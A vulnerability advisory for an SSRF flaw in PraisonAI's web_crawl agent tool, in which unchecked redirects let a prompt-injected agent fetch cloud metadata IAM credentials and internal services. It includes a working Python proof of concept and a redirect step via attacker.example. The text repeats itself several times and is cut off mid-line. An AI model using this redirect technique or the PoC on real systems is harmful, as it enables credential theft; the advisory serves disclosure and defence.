CVE-2026-55525

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the web_crawl function validates only the initial URL before _crawl_with_httpx uses httpx.Client(follow_redirects=True). Redirect targets are not revalidated, so an attacker who influences a crawl target can redirect a public URL to loopback, private network, or cloud metadata services while ALLOW_LOCAL_CRAWL remains disabled. The fetched internal response is returned to the agent context. This issue is fixed in version 1.6.58.

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the web_crawl function validates only the initial URL before _crawl_with_httpx uses httpx.Client(follow_redirects=True). Redirect targets are not revalidated, so an attacker who influences a crawl target can redirect a public URL to loopback, private network, or cloud metadata services while ALLOW_LOCAL_CRAWL remains disabled. The fetched internal response is returned to the agent context. This issue is fixed in version 1.6.58.

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions:

• The agent has the web_crawl tool registered, which is a standard exported tool.
• The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install).
• ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.
• The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)                       # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})        # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret…

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the web_crawl function validates only the initial URL before _crawl_with_httpx uses httpx.Client(follow_redirects=True). Redirect targets are not revalidated, so an attacker who influences a crawl target can redirect a public URL to loopback, private network, or cloud metadata services while ALLOW_LOCAL_CRAWL remains disabled. The fetched internal response is returned to the agent context. This issue is fixed in version 1.6.58.

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the web_crawl function validates only the initial URL before _crawl_with_httpx uses httpx.Client(follow_redirects=True). Redirect targets are not revalidated, so an attacker who influences a crawl target can redirect a public URL to loopback, private network, or cloud metadata services while ALLOW_LOCAL_CRAWL remains disabled. The fetched internal response is returned to the agent context. This issue is fixed in version 1.6.58.

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions:

• The agent has the web_crawl tool registered, which is a standard exported tool.
• The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install).
• ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.
• The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)                       # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})        # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret…

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions:

• The agent has the web_crawl tool registered, which is a standard exported tool.
• The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install).
• ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.
• The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)                       # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})        # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret…